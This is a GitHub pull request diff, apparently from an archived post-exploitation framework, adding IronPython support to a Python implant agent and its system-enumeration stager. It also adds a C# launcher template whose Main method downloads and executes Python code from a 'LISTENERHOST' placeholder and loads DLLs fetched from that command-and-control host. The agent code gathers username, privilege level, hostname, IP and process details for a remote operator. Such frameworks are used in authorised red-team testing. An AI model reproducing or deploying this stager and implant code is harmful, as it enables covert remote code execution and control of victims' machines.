Skip to content
This repository was archived by the owner on Jan 29, 2020. It is now read-only.
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
23 changes: 17 additions & 6 deletions data/agent/agent.py
Original file line number Diff line number Diff line change
Expand Up @@ -19,11 +19,15 @@
import marshal
import re
import shutil
import pwd
import socket
import math
import stat
import grp
import platform
if platform.python_implementation() == 'IronPython':
from System import Environment
else:
import pwd
import grp
from stat import S_ISREG, ST_CTIME, ST_MODE
from os.path import expanduser
from StringIO import StringIO
Expand Down Expand Up @@ -906,9 +910,13 @@ def directory_listing(path):
permstr = "d{}".format(permstr)
else:
permstr = "-{}".format(permstr)

user = pwd.getpwuid(fstat.st_uid)[0]
group = grp.getgrgid(fstat.st_gid)[0]
if platform.python_implementation() == 'IronPython':
user = Environment.UserName
#Needed?
group = "Users"
else:
user = pwd.getpwuid(fstat.st_uid)[0]
group = grp.getgrgid(fstat.st_gid)[0]

# Convert file size to MB, KB or Bytes
if (fstat.st_size > 1024 * 1024):
Expand Down Expand Up @@ -961,7 +969,10 @@ def run_command(command, cmdargs=None):
return "Created directory: {}".format(cmdargs)

elif re.compile("(whoami|getuid)").match(command):
return pwd.getpwuid(os.getuid())[0]
if platform.python_implementation() == 'IronPython':
username = Environment.UserName
else:
return pwd.getpwuid(os.getuid())[0]

elif re.compile("hostname").match(command):
return str(socket.gethostname())
Expand Down
58 changes: 43 additions & 15 deletions data/agent/stagers/common/get_sysinfo.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,12 @@
import platform
if platform.python_implementation() == 'IronPython':
from System.Diagnostics import Process
from System import Environment
from System.Security.Principal import WindowsIdentity, WindowsPrincipal, WindowsBuiltInRole
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

These are IronPython specific imports that enable operating system enumeration via .Net rather than normal *nix style enumeration. This the stager should still do the normal thing on *nix envs.

else:
import pwd
import os
import sys
import pwd
import socket
import subprocess

Expand All @@ -11,23 +17,36 @@ def get_sysinfo(nonce='00000000'):
__FAILED_FUNCTION = '[FAILED QUERY]'

try:
username = pwd.getpwuid(os.getuid())[0].strip("\\")
if platform.python_implementation() == 'IronPython':
username = Environment.UserName
else:
username = pwd.getpwuid(os.getuid())[0].strip("\\")
except Exception as e:
username = __FAILED_FUNCTION
try:
uid = os.popen('id -u').read().strip()
if platform.python_implementation() == 'IronPython':
uid = WindowsIdentity.GetCurrent().User.ToString()
else:
uid = os.popen('id -u').read().strip()
except Exception as e:
uid = __FAILED_FUNCTION
try:
highIntegrity = "True" if (uid == "0") else False
if platform.python_implementation() == 'IronPython':
highIntegrity = WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)
else:
highIntegrity = "True" if (uid == "0") else False
except Exception as e:
highIntegrity = __FAILED_FUNCTION
try:
osDetails = os.uname()
if platform.python_implementation() != 'IronPython':
osDetails = os.uname()
except Exception as e:
osDetails = __FAILED_FUNCTION
try:
hostname = osDetails[1]
if platform.python_implementation() == 'IronPython':
hostname = Environment.MachineName
else:
hostname = osDetails[1]
except Exception as e:
hostname = __FAILED_FUNCTION
try:
Expand All @@ -38,11 +57,17 @@ def get_sysinfo(nonce='00000000'):
except Exception as e1:
internalIP = __FAILED_FUNCTION
try:
osDetails = ",".join(osDetails)
if platform.python_implementation() == 'IronPython':
osDetails = Environment.OSVersion.ToString()
else:
osDetails = ",".join(osDetails)
except Exception as e:
osDetails = __FAILED_FUNCTION
try:
processID = os.getpid()
if platform.python_implementation() == 'IronPython':
processID = Process.GetCurrentProcess().Id
else:
processID = os.getpid()
except Exception as e:
processID = __FAILED_FUNCTION
try:
Expand All @@ -52,13 +77,16 @@ def get_sysinfo(nonce='00000000'):
pyVersion = __FAILED_FUNCTION

language = 'python'
cmd = 'ps %s' % (os.getpid())
ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = ps.communicate()
parts = out.split("\n")
if len(parts) > 2:
processName = " ".join(parts[1].split()[4:])
if platform.python_implementation() == 'IronPython':
processName = Process.GetCurrentProcess().ToString()
else:
processName = 'python'
cmd = 'ps %s' % (os.getpid())
ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = ps.communicate()
parts = out.split("\n")
if len(parts) > 2:
processName = " ".join(parts[1].split()[4:])
else:
processName = 'python'

return "%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s" % (nonce, server, '', username, hostname, internalIP, osDetails, highIntegrity, processName, processID, language, pyVersion)
20 changes: 20 additions & 0 deletions data/misc/IPYcSharpTemplateResources/cmd.sln
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2012
# SharpDevelop 5.1
VisualStudioVersion = 12.0.20827.3
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "cmd", "cmd\cmd.csproj", "{17E4F716-E93B-42BF-B1A3-E24A46FE4CCD}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{17E4F716-E93B-42BF-B1A3-E24A46FE4CCD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{17E4F716-E93B-42BF-B1A3-E24A46FE4CCD}.Debug|Any CPU.Build.0 = Debug|Any CPU
{17E4F716-E93B-42BF-B1A3-E24A46FE4CCD}.Release|Any CPU.ActiveCfg = Release|Any CPU
{17E4F716-E93B-42BF-B1A3-E24A46FE4CCD}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
EndGlobal
28 changes: 28 additions & 0 deletions data/misc/IPYcSharpTemplateResources/cmd/Program.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
using System;
using System.Reflection;
using System.Net;
using IronPython.Hosting;
using Microsoft.Scripting;
using IronPython.Modules;

namespace cmd
{
class Program
{
static Program()
{
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(OnResolveAssembly);
}
public static void Main(string[] args)
{
var engine = Python.CreateEngine();
engine.Execute("h = 'LISTENERHOST';from System.Net import WebClient;exec(WebClient().DownloadString(h+'/download/importer'));add_remote_repo(h + '/download/stdlib/');STAGER");
}
private static Assembly OnResolveAssembly(object sender, ResolveEventArgs args)
{
string name = args.Name.Substring(0, args.Name.IndexOf(','));
WebClient wc = new WebClient();
return Assembly.Load(wc.DownloadData("LISTENERHOST/download/45/" + name + ".dll"));
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
#region Using directives

using System;
using System.Reflection;
using System.Runtime.InteropServices;

#endregion

// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("cmd")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("cmd")]
[assembly: AssemblyCopyright("Copyright 2018")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]

// This sets the default COM visibility of types in the assembly to invisible.
// If you need to expose a type to COM, use [ComVisible(true)] on that type.
[assembly: ComVisible(false)]

// The assembly version has following format :
//
// Major.Minor.Build.Revision
//
// You can specify all the values or you can use the default the Revision and
// Build Numbers by using the '*' as shown below:
[assembly: AssemblyVersion("1.0.*")]
6 changes: 6 additions & 0 deletions data/misc/IPYcSharpTemplateResources/cmd/app.config
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
</startup>
</configuration>
57 changes: 57 additions & 0 deletions data/misc/IPYcSharpTemplateResources/cmd/cmd.csproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" DefaultTargets="Build">
<PropertyGroup>
<ProjectGuid>{17E4F716-E93B-42BF-B1A3-E24A46FE4CCD}</ProjectGuid>
<ProjectTypeGuids>{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}</ProjectTypeGuids>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<OutputType>Exe</OutputType>
<RootNamespace>cmd</RootNamespace>
<AssemblyName>cmd</AssemblyName>
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
<AppDesignerFolder>Properties</AppDesignerFolder>
<TargetFrameworkProfile />
</PropertyGroup>
<PropertyGroup Condition=" '$(Platform)' == 'AnyCPU' ">
<PlatformTarget>x86</PlatformTarget>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)' == 'Debug' ">
<OutputPath>bin\Debug\</OutputPath>
<DebugSymbols>True</DebugSymbols>
<DebugType>Full</DebugType>
<Optimize>False</Optimize>
<CheckForOverflowUnderflow>True</CheckForOverflowUnderflow>
<DefineConstants>DEBUG;TRACE</DefineConstants>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)' == 'Release' ">
<OutputPath>bin\Release\</OutputPath>
<DebugSymbols>False</DebugSymbols>
<DebugType>None</DebugType>
<Optimize>True</Optimize>
<CheckForOverflowUnderflow>False</CheckForOverflowUnderflow>
<DefineConstants>TRACE</DefineConstants>
</PropertyGroup>
<ItemGroup>
<Reference Include="IronPython">
<HintPath>IronPython.dll</HintPath>
<Private>False</Private>
</Reference>
<Reference Include="IronPython.Modules">
<HintPath>IronPython.Modules.dll</HintPath>
<Private>False</Private>
</Reference>
<Reference Include="Microsoft.Scripting">
<HintPath>Microsoft.Scripting.dll</HintPath>
<Private>False</Private>
</Reference>
<Reference Include="System" />
</ItemGroup>
<ItemGroup>
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<None Include="app.config" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>
Loading